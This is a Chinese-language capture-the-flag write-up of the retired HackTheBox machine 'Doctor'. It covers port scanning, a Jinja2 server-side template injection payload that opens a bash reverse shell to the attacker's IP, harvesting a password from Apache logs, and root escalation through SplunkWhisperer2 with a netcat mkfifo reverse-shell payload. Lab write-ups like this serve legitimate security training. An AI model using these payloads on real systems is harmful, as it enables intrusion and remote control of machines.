HTB-靶机-Doctor
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.209
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
信息枚举收集 https://github.com/codingo/Reconnoitre 跟autorecon类似 autorecon 10.10.10.209 -o ./Doctor-autorecon masscan -p1-65535 10.10.10.209 --rate=1000 -e tun0 > ports ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//') nmap -Pn -sV -sC -p$ports 10.10.10.209 sudo nmap -sS -sV -T4 -O -A -v 10.10.10.209 nmap自动探测工具 https://github.com/21y4d/nmapAutomator 爆破目录新工具 https://github.com/phra/rustbuster
开放了3个端口,先访问80端口,并追加hosts文件
追加hosts文件 sudo -- sh -c "echo '10.10.10.209 doctors.htb' >> /etc/hosts"
随手注册一个账号cntf,密码也是这个,邮箱是cntf@qq.com
注册完成之后登录进去发现一个New Message
通过测试点击这个New Message功能,发现存在SSTI模板注入漏洞,可参考:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2---basic-injection
注入完成触发漏洞在访问的页面上查看网页源代码发现可以通过访问http://doctors.htb/archive 来触发验证漏洞是否成功执行
在New Message功能处插入反弹shell代码,下面一行随便写
对应反弹shell的代码 {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("bash -c 'bash -i >& /dev/tcp/10.10.14.16/8833 0>&1'").read()}}{%endif%}{%endfor%}
成功反弹shell,查看home目录有两个用户,一个是web,另一个是shaun ,然后执行了一把id命令
发现用户web隶属于adm组,属于此组的用户用于系统监控并对/var/log目录下的文件进行监控,过滤查询下password关键字
grep -R -e 'password' /var/log/
得到下面结果 /var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
使用上面重置密码功能所使用的email参数当作密码试试
搜集下目标靶机上的信息,最终发现开放8089端口的splunk服务是root权限运行,同时也知道此端口可以开启转发器,具体可参考:
https://community.splunk.com/t5/Getting-Data-In/Can-someone-please-explain-to-me-why-Splunk-Universal-Forwarder/m-p/180067
可以通过劫持操作完成提权root用户参考:https://airman604.medium.com/splunk-universal-forwarder-hijacking-5899c3e0e6b2
对应的exploit代码:
https://github.com/cnotin/SplunkWhisperer2
相关验证测试操作
git clone https://github.com/cnotin/SplunkWhisperer2 cd SplunkWhisperer2/PySplunkWhispherer2 python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.16 --payload id 上述利用不成功,因为没有一个有效的账号和密码 验证测试是否能够正常利用 python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.16 --username shaun --password Guitar123 --payload id
反弹shell python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --lhost 10.10.14.16 --username shaun --password Guitar123 --payload 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.16 8822 >/tmp/f' nc -vlnp 8822
迷茫的人生,需要不断努力,才能看清远方模糊的志向!